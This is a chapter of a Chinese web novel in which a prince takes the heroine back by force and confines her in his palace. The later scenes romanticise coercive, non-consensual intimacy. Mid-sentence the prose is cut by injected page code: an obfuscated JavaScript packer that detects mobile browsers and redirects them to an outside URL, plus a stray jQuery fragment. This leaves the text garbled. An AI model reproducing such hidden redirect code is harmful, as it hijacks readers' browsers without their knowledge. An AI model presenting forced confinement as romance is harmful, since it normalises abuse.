35. 第 35 章

作品:《恶毒女配爆改万人迷(快穿)

    宁绝无疑对老皇帝这套说辞嗤之以鼻。


    只不过,老皇帝若是驾崩,祁非顺理成章继位。


    对宁绝来说,带乔追月回北国的路上万不能节外生枝,而祁非,便是那个最大的变故。


    此刻取了老皇帝的性命,助长了祁非的势力,显然弊大于利。


    “你再说一遍,你,竟甘愿放弃储君之位,沦为一介平民?”


    老皇帝咳得脸色铁青,目眦尽裂。


    “我如今,并不是同你商量。”宁绝眉目凛然,没有否认。


    老皇帝咬牙,声嘶力竭:“你就不怕,朕迁怒乔家?”


    宁绝甩开药碗,垂在身侧的手攥紧成拳,唇启,掷地有声:“一人做事一人当,我所做的,不必牵连乔家。”


    如今,宁绝公然推拒继承储君头衔,天子威严不容挑衅,老皇帝碍于皇家颜面,终究还是动用了刑罚。


    齐公公站在行刑的人手身后,忍不住劝道:“二殿下,这又是何苦呢?”


    宁绝咬牙默不吭声,额上布满了细汗,眼白的血丝清晰可见。


    挨完了最后一板,宁绝甩开了齐公公递来的手杖,兀自撑着墙面站起身。


    齐公公瞧得眼眶直发酸,心都要揪在一处。


    “陛下给殿下传了太医,在内殿候着呢。”


    老东西当众罚了他一顿,却又给他配备了太医。


    充其量不过是假惺惺。


    宁绝陡然沉下脸,无动于衷,衣摆被风卷起一角,血渍染红了宫砖,脚步虽缓,一步步走得异常坚定。


    “二殿下伤重,却跟太医要了最烈的药,坚持要连夜出门。”齐公公担忧得揣着拂尘,来回踟蹰,语气焦灼。


    躺卧在龙榻上,老皇帝闭了闭眼,惨白的唇微掀,手颇为无力地垂下,“朕要你传的话,可到了?”


    ——


    “不论如何,你到何处,都是朕的骨肉,若你想回来,宫门随时为你敞开。”


    夜风冷厉地刮过耳颊,齐公公带到的口信回荡在耳畔,宁绝夹紧马腹,一路疾驰,把老皇帝的话甩到身后。


    林间路径,狭长幽暗。


    过往种种,都该抛却。


    此刻脑海尽被那抹巧笑倩兮的身影占据,宁绝苍白的脸总算荡开一点笑意。


    连背上的伤口的血浸透了内外衣裳,也毫无察觉。


    尽管宁绝伤尚未痊愈,马不停蹄赶回来,为了见着她一面,终究还是迟了。


    面前庭院空荡开阔,屋子的烛火早就燃尽。


    屋外不少的蝎子依旧漫无目的在月光下爬动。


    欲盖弥彰。


    宁绝一步一步,碾碎了碍事的虫蝎,推开门,料想之中,果然已是空荡荡的一片。


    宁绝沉步在新换的妆台前站定,强作镇定,勾指拽开珠宝匣子,空空如也。


    也好,走了还知道带些盘缠。


    轻叹了口气,宁绝看了眼镜子里被月光打碎的光影,半明半灭的。


    却始终照不出他心上人的模样。


    他的大小姐,可要跑远点儿,藏好些,但凡……被他找到……


    曦光初绽。


    宁绝扫视着屋内摆设,与他恢复二皇子身份后住的宫殿别无二致。


    “主子,可算醒了。”


    爵风暗暗松了口气,昨夜发觉宁绝身负重伤,晕倒在屋子里……还发了高热,若非就诊及时,恐怕……


    码头人来人往,后头便是喧闹的街市。


    只要登船,就能到她朝思暮想的江南了。


    “站住。”


    一声凌厉的冷喝。


    两人的身形顷刻间僵住。


    “小姐……”青柠紧紧挽着乔追月的胳膊,另外一边的手里的食盒险些没拎稳。


    乔追月回忆宁绝对她说的话,扫视着周围一圈的皇家侍卫们,登时汗毛直竖。


    老实说,她不想掺和搅乱他和女主息宛的原文戏码。


    但是,宁绝怎么这么快找到她了?


    “乔小姐,请随我们走一趟。”


    “凭什么?”乔追月深吸一口气,试图反抗。


    “得罪了。”


    眼前一黑。


    好家伙,这回不用打晕,直接套麻袋了?


    看来,她逃跑以后,宁绝发现自己被耍,现在估计气得不轻。


    乔追月好不容易重见光明,便从宫女口中听到了宁绝恢复二皇子身份……


    千里迢迢,不惜动用皇家势力,把她抓回宫,宁绝还真是煞费苦心。


    乔追月拽紧了被角,指尖蓦的一顿,忽而发觉,这柔软的触感,顺滑的锦缎……


    很显然与她之前在二皇子殿里摸到的完全不一样。


    但是,与她在乔家的闺房所用的更为上乘。


    毕竟她的富豪老爹乔友乾也只能正经买卖一些高品质的布匹,而皇家是正儿八经掌握了全国最好的资源。


    譬如外邦进贡的五花八门的绮丽玩意儿。


    乔追月思绪翩跹之际,已然走到了梳妆台前。


    她一袭红裳……


    等等,她之前穿着的水青色的长裙呢?


    还有她的鹅黄烟笼罩衫……


    这一身也太浓丽了……


    袖摆和边沿的刺绣极为繁复,针法独特,搭配缀着细闪的线材,全城都找不出第二家……


    奇怪,宁绝从哪儿找来的绣娘?


    这套嫣红的衣裳用料考究,做得流光溢彩的,让人第一眼便很难不爱上。


    “还满意吗?”


    乔追月僵硬地转过身,望向门口伫立的高挑身影,哑口无言。


    周围的侍女哗啦啦退场。


    门口的锦衣少年依旧风华无双,眉眼却添了一层阴翳。


    关上门,少年朝她沉步踱来。


    乔追月连续被缠着胡闹了两日两夜,对宁绝此刻的眼神再熟悉不过。


    她喉间一哽,连忙往后退了又退。


    “宁绝,宁绝你别冲动,有话好好说……”


    “好,那我便同你好好说道说道。”指尖搭上腰间的玉扣,宁绝眼尾上挑,嘴角噙着一丝笑,却比寒冬刺骨的冰碴子来得让人不寒而栗。


    “我原料想你不喜这宫中的尔虞我诈,明争暗斗,便想着与你一同出宫,此后你想游山玩水,开辟商铺,遛鸟赏花,我都陪着你。”


    “可你,为何一次一次视我不见?”


    乔追月后膝撞到了床栏,猝不及防往后仰,整个人的后背和后脑勺贴在柔软的锦被之上,半张脸陷入了恐慌不安的阴影里。


    一把掐住了她的下巴,迫着她与自个儿对视,宁绝拧眉,眼里尽显苦灼,“乔追月,你的这双眼,究竟,要如何,才装得下我?”


    “不,你听我解释……”


    “解释?只可惜,我不想听了。”他满心欢喜回到院子里,便想着好好安抚她,再带着她一路北上,到他母妃所在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104706|176561||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的北国。


    可如今,已经不需要了。


    “唔!”乔追月费力地推搡着他压下来的脑袋,掌心又滑到他的双肩,气喘吁吁:“宁绝,你到底知不知道自己在做什么?”


    宁绝咧唇,笑了一声,喉间的余音还在震颤:“我很清楚,我要你,我要你陪着我。”


    “滚,我不要陪着你。”乔追月沉下脸,怒喝。


    “好,杀了我,只要我死了,才会放你离开。”


    “你,你……”乔追月扫了眼宁绝主动递上来的刀,一时间气得失语。


    他够狠,他分明知晓,乔追月压根不会对他动手。


    宁绝淡淡笑开,欣赏着乔追月气急败坏的样子。


    眼尾带着挑衅,眸底攒着难以言喻的暗泽。


    究竟是从什么时候开始呢?


    他的小姐变得这般口是心非。


    或许,是幼年时,他跪在乔家门前,乔追月吩咐丫鬟青柠朝他丢来那件价值连城的鹤氅开始?


    不过,现在,她抗拒也好,厌恶他也罢,终归是,逃不掉了。


    之后的日子里,寝殿陆陆续续搬进来许多的物件儿。


    乔追月瞥了眼满目的红,又扫了眼腕间的红丝绦,以及裙下不知被换了多少回的锦缎,恍惚间,像是被宁绝锁在二人的婚房中……


    紧闭的寝殿里头,日日夜夜燃着熏香和喜烛。


    乔追月歪过脑袋,再度被下了朝的宁绝搂紧,拽入新一轮的深渊之中。


    不知春夏,不见日月。


    “小姐没有什么话,要同我说?”


    细细密密的吻落在脖颈,乔追月半睁开眼,艰难出声:“放、放开我……”


    她的嗓音微哑,宁绝倾身,再度哺以清水。


    乔追月拧眉,咬破了他的唇角,别过头。


    一抹唇角的鲜红血渍,宁绝朝她继续微笑。


    “哐啷──”床前的杯盏被宁绝随手弃于地上,摔了个粉碎。


    乔追月听得心惊胆战。


    起初一回两回的作妖挣扎,宁绝能对她保持忍耐,是正常的。


    可天天如此……耳垂被利齿衔住,加上腰间被他的掌心锢住无法动弹,乔追月气息紊乱,倔犟得一字一顿:“放、开、我。”


    宁绝自然不会同先前那样言听计从,反而咬住了耳垂反复碾品,放狠话:


    “等老东西一死,你就是我的皇后。确实,该为你腾出专用的殿宇了。”


    乔追月彻底愣住了。


    这段时日来来回回,她一直以为,这是宁绝对她过去所作所为的报复。


    可,方才,他亲口说了,要她当皇后……


    宁绝很喜欢她此刻发懵的表情,一双眼睛水雾迷蒙,让人不禁探再探。


    喜欢她眼眸亮光闪烁,只看着他一人。


    喜欢她失神时,无意间攀着他脖颈的小动作……


    有那么几回,他险些以为自个儿所处在梦里,他的小姐,口中亦是他的字——


    长辞。


    是母妃为他取的字。


    一语成谶,他自幼命途坎坷。


    他嫌少要别人得知他更换的名字有问题。


    察觉到不对,乔追月勾住了他的脖颈,压低。


    她没看错,宁绝眼里的忧伤还在。


    到底,是什么心事呢?


    如今一人之上,万人归他,为什么,想不通?


    【毒妇系统:滴——】